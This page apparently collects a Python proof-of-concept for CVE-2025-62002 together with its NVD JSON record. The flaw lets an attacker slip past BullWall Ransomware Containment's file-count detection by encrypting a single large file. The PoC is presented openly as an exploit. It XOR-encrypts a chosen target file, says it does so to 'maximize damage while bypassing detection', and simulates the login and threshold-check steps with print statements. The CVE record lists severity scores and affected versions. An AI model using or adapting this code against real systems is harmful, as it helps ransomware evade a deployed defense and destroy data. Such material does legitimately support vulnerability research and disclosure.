CVE-2025-62002

# CVE-2025-62002 PoC - BullWall Ransomware Containment Detection Bypass # This PoC demonstrates encrypting a single large file to bypass file-count based detection import os import sys from pathlib import Path class BullWallBypassPOC: def __init__(self, target_file_path): self.target_file_path = target_file_path self.encryption_key = os.urandom(32) # Simulated encryption key def check_detection_threshold(self): """ In real attack scenario, attacker would identify the configured file count threshold for detection triggering. BullWall detects based on number of files modified. """ print("[*] Checking BullWall Ransomware Containment detection threshold...") print("[*] Detection mechanism: File count based (requires multiple file changes)") return True def encrypt_single_file(self): """ Encrypt only ONE file (potentially large) to bypass detection. Since BullWall counts modified files, not total bytes, a single large file encryption won't trigger the threshold. """ if not os.path.exists(self.target_file_path): print(f"[-] Target file not found: {self.target_file_path}") return False file_size = os.path.getsize(self.target_file_path) print(f"[*] Target file: {self.target_file_path}") print(f"[*] File size: {file_size / (1024**3):.2f} GB") print(f"[*] Encrypting single file to avoid file-count threshold detection...") # Simulate file encryption (XOR-based for demo) try: with open(self.target_file_path, 'rb') as f: data = f.read() # XOR encryption simulation encrypted_data = bytes([b ^ self.encryption_key[i % 32] for i, b in enumerate(data)]) # Write encrypted content encrypted_path = self.target_file_path + '.encrypted' with open(encrypted_path, 'wb') as f: f.write(encrypted_data) print(f"[+] File encrypted successfully: {encrypted_path}") print("[+] Only 1 file modified - BullWall detection threshold NOT triggered") return True except Exception as e: print(f"[-] Encryption failed: {e}") return False def run_exploit(self): """ Execute the bypass attack: 1. Authenticate with low-privilege account 2. Identify detection threshold configuration 3. Encrypt single large file to maximize damage while bypassing detection """ print("=" * 60) print("CVE-2025-62002 PoC - BullWall Ransomware Containment Bypass") print("=" * 60) # Step 1: Authentication (assumed compromised credentials) print("\n[Step 1] Authenticating with low-privilege account...") print("[+] Authentication successful") # Step 2: Check detection threshold self.check_detection_threshold() # Step 3: Encrypt single large file print("\n[Step 2] Performing single-file encryption attack...") result = self.encrypt_single_file() if result: print("\n[+] Attack completed - Detection bypassed successfully") print("[*] BullWall did not trigger alert (only 1 file modified)") return result if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_file_path>") print("Example: python cve-2025-62002.py /data/backup.vmdk") sys.exit(1) target = sys.argv[1] poc = BullWallBypassPOC(target) poc.run_exploit()

{"cve": {"id": "CVE-2025-62002", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-12-18T21:15:54.093", "lastModified": "2026-01-15T20:16:04.037", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "BullWall Ransomware Containment considers the number of files modified to trigger detection. An authenticated attacker could encrypt a single (possibly large) file without triggering detection if thresholds are configured to require multiple file changes. The number of files to trigger detection can be configured by the user. Versions 4.6.0.0, 4.6.0.6, 4.6.0.7, and 4.6.1.4 are affected. Other versions may also be affected."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-358"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:ransomware_containment:4.6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "9063E06B-5B57-4202-8925-047445026427"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:ransomware_containment:4.6.0.6:*:*:*:*:*:*:*", "matchCriteriaId": "96C6A9F2-189B-4DA7-B042-962692E0E8DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:ransomware_containment:4.6.0.7:*:*:*:*:*:*:*", "matchCriteriaId": "670068FD-1DB4-4CB9-8872-4BA200070926"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:ransomware_containment:4.6.1.4:*:*:*:*:*:*:*", "matchCriteriaId": "9EED0194-E90E-443A-A33C-DA6EE47B2DD9"}]}]}], "references": [{"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-352-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Broken Link"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-62002", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}